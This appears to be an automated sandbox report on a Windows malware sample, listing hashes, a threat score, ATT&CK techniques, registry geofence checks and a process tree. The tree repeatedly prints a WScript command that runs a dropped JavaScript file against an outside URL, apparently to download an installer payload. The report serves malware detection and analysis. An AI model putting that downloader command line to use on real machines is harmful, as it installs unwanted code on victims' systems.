508830b4b631981b2ce1fd75718ebc428683f4edc7d78ffc27015786765bfcd5

General

Target

1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe
Size

184KB
MD5

1f27c39cf20a2d94dbc5605cc49128ed
SHA1

5638cca70dc541809de4b6be70addd3c5a2f5dfb
SHA256

508830b4b631981b2ce1fd75718ebc428683f4edc7d78ffc27015786765bfcd5
SHA512

b50c0d7b30230f5221a576620ab76967f5859a787ab7df4e4e0421edacee8c5173cd3e96bf60975d73cefc792ce24b83f85cd61002eaf7871acb26e63b2cfaa3
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3c:/7BSH8zUB+nGESaaRvoB7FJNndn1

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	1204	WScript.exe
35	3472	WScript.exe
38	4200	WScript.exe
54	4988	WScript.exe
56	5000	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3496	3540	WerFault.exe	83

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000_Classes\Local Settings	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3540 wrote to memory of 1204	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	84
PID 3540 wrote to memory of 1204	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	84
PID 3540 wrote to memory of 1204	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	84
PID 3540 wrote to memory of 3472	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	101
PID 3540 wrote to memory of 3472	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	101
PID 3540 wrote to memory of 3472	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	101
PID 3540 wrote to memory of 4200	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	102
PID 3540 wrote to memory of 4200	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	102
PID 3540 wrote to memory of 4200	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	102
PID 3540 wrote to memory of 4988	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	106
PID 3540 wrote to memory of 4988	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	106
PID 3540 wrote to memory of 4988	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	106
PID 3540 wrote to memory of 5000	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	107
PID 3540 wrote to memory of 5000	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	107
PID 3540 wrote to memory of 5000	3540	1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe	107

C:\Users\Admin\AppData\Local\Temp\1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\1f27c39cf20a2d94dbc5605cc49128ed_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3AA7.js" http://www.djapp.info/?domain=jdBzlpwjoB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3AA7.exe
  2⤵
  - Blocklisted process makes network request
  PID:1204
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3AA7.js" http://www.djapp.info/?domain=jdBzlpwjoB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3AA7.exe
  2⤵
  - Blocklisted process makes network request
  PID:3472
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3AA7.js" http://www.djapp.info/?domain=jdBzlpwjoB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3AA7.exe
  2⤵
  - Blocklisted process makes network request
  PID:4200
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3AA7.js" http://www.djapp.info/?domain=jdBzlpwjoB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3AA7.exe
  2⤵
  - Blocklisted process makes network request
  PID:4988
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3AA7.js" http://www.djapp.info/?domain=jdBzlpwjoB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3AA7.exe
  2⤵
  - Blocklisted process makes network request
  PID:5000
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3540 -s 1448
  2⤵
  - Program crash
  PID:3496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 3540 -ip 3540
1⤵
PID:1108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3AA7.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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